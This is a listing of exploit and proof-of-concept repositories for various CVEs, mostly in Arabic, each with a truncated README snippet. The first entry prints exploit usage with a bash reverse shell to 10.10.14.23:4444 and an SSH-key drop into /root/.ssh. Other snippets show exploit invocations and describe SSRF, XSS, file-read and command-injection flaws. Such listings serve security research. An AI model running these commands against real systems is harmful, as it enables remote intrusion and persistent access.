CVE-2024-47533

شل عكسية python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' أمر بسيط python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' إسقاط مفتاح SSH python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh &&...

cve-2025-4664

CVE-2025-4664 يحتوي هذا المستودع على PoC لاستغلال CVE-2025-4664، وهي ثغرة أمنية تسمح للمتصفحات المبنية على Chromium بتسريب معلمات URL الحساسة عبر طلبات التحميل المسبق لترويسة Link. الموارد للحصول على شرح مفصّل لكيفية عمل هذا الاستغلال، اقرأ منشور المدونة: https://amalmurali.me/posts/cve-2025-4664...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. نظرة عامة على الثغرات CVE-2025-30208 وCVE-2025-31125 وCVE-2025-31486 هي ثغرات قراءة ملفات تعسفية في خادم التطوير Vite. تسمح هذه الثغرات للمهاجم بتجاوز ضوابط الوصول عبر معاملات URL محددة، وقراءة الملفات الحساسة على الخادم من خلال وحدة fs. يمكن...

CVE-2022-22947

تمت إضافة نوعين من الصدف العكسية reverse shell واختبار الخروج إلى الشبكة استناداً إلى كود Wang Zheng. إذا كانت هناك وحدة مفقودة أثناء التشغيل، فاستخدم pip لتنزيل الوحدة المطلوبة. أدخل عنوان URL المشبوه، وانتبه إلى عدم إضافة '/' بعد المنفذ. 1. تحقق أولاً من وجود الثغرة الأمر الافتراضي المنفذ هو...

SSRF-Exploit-CVE-2024-27564

SSRF-Exploit-CVE-2024-27564 عنوان المشروع يوضح هذا المشروع ثغرة من نوع تزوير الطلب من جانب الخادم SSRF في ملف pictureproxy.php. الوصف تسمح ثغرة في ملف pictureproxy.php للمهاجمين عن بُعد بتنفيذ طلبات عشوائية عن طريق حقن عناوين URL في المعامل url. يمكن استغلال ثغرة SSRF هذه دون الحاجة إلى مصادقة، م...

CVE-2022-22947

CVE-2022-22947 الاستخدام: python3 CVE-2022-22947.py url...

compaXSS

CompaXSS تجاوز XSS البرمجة النصية عبر المواقع المنعكسة ======= Example: python compaxss.py --url https://support.snapchat.com/login?next=-run المطورون Jose Pino - @jofpin Juan Eljach - @juaneljach...

WordPress StageShow <5.0.9 - Open Redirect

WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshowredirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter. id: CVE-2015-5461 info: name:...

CVE-2024-36527

CVE-2024-36527 إثبات المفهوم PoC وماسح ضوئي جماعي نظرة عامة إثبات المفهوم PoC لـ CVE-2024-36527: الإصدار puppeteer-renderer v.3.2.0 وما قبله عرضة لثغرة اجتياز الدليل Directory Traversal. يمكن للمهاجمين استغلال معامل URL باستخدام بروتوكول file لقراءة معلومات حساسة من الخادم. استنادًا إلى النشرة...

CVE-2021-39165

CVE-2021-39165 Python3 POC لثغرة CVE-2021-39165 في CachetHQ الاستخدام أولاً، يجب عليك تثبيت التبعيات: pip3 install -r requirements.txt إذا كنت تريد التحقق مما إذا كان عنوان URL الخاص بالضحية معرّضًا للثغرة أم لا، يمكنك تنفيذ: python3 exploit.py -u -c إذا كنت تريد معرفة ناتج استعلام MySQL، يمكنك...

CVE-2021-22941

الاستخدام python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 المرجع https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2021-3131

CVE-2021-3131 Description suggérée Le serveur Web dans 1C:Enterprise 8 avant la version 8.3.17.1851 envoie des identifiants encodés en base64 dans le paramètre d'URL 'creds'. Type de vulnérabilité Autre CWE-522 Protections insuffisantes des identifiants Vendeur du produit 1C Company Code de base ...

exploit-CVE-2016-8016-25

ثغرات متعددة عن بعد في McAfee Virus Scan لنظام Linux تمت إزالة هذا الاستغلال وجميع التعليمات البرمجية في هذا المستودع لتجنب أي مشاكل تتعلق بانتهاك أي ترخيص من McAfee McAfee VirusScan Enterprise for Linux هو حل مضاد فيروسات مؤسسي من McAfee. يقوم الماسح الضوئي الفريد الخاص به، والمبني على نظام Linu...

CVE-2024-50961

كشف البيانات الحساسة CVE-2024-50961 الوصف في DonWeb Ferozo Hosting v1.1، يمكن للمهاجم عن بُعد استغلال معاملات URL للوصول إلى بيانات حساسة، بما في ذلك بيانات اعتماد قاعدة البيانات. تشمل نواقل الهجوم التنصت على الشبكة، وسجلات الخادم، وسجل المتصفح، مما قد يعرّض المؤسسات لاختراقات أمنية كبيرة وانتهاك...

CVE-2022-35499

في Trimble TM4WEB =22.2.0، نقطة النهاية لعرض الفاتورة الخارجية معرضة لثغرة XSS المنعكسة عن طريق الحقن في معلمة عشوائية مضافة إلى عنوان URL. الخطوة 1: سوف يؤدي عنوان URL المثال التالي إلى تشغيل الثغرة وتنفيذ دالة JavaScript alert لعرض الرقم 1 كإثبات للمفهوم. تعمل هذه الثغرة على كل تثبيت TM4WEB تم...

CVE-2025-69600

CVE-2025-69600 المؤلف: Rafael José Núñez Gulías الشركة: Iberian Var Group المنتجات المتأثرة: RayVentory Scan Engine 12.6 Update 8 والإصدارات السابقة نشرة Raynet: RSEC200966 حقن الأوامر في rvia من Raynet يسمح للمهاجمين بتنفيذ الأوامر عبر خيارات getconfig وupload وinventory وoracle. يتم التحقق فقط...

composer-CVE-2026-40261-CVE-2026-40176-PoC

!CAUTION CE DÉPÔT CONTIENT DU CODE DE PREUVE DE CONCEPT POUR LES VULNÉRABILITÉS CVE-2026-40261 ET CVE-2026-40176 DANS COMPOSER. !CAUTION LE CODE EST DESTINÉ UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST. !CAUTION N'UTILISEZ PAS CE CODE DANS DES ENVIRONNEMENTS DE PRODUCTION OU CONTRE DES SYSTÈMES SA...

CVE-2023-6895

python3 CVE-2023-6895.py -u http://target.com -c cmd...

CVE-2022-24834-

CVE-2022-24834 python exploit.py -url -port...

CVE-2025-63441

CVE-2025-63441 العنوان: XSS منعكسة عبر arbitrarily supplied URL parameter param في نقطة النهاية u/administrator/friends الملخص: تم تحديد ثغرة البرمجة النصية عبر المواقع المنعكسة Reflected Cross-Site Scripting - XSS في نقطة النهاية u/administrator/friends لتطبيق OSSN. تسمح هذه الثغرة للمهاجمين بحق...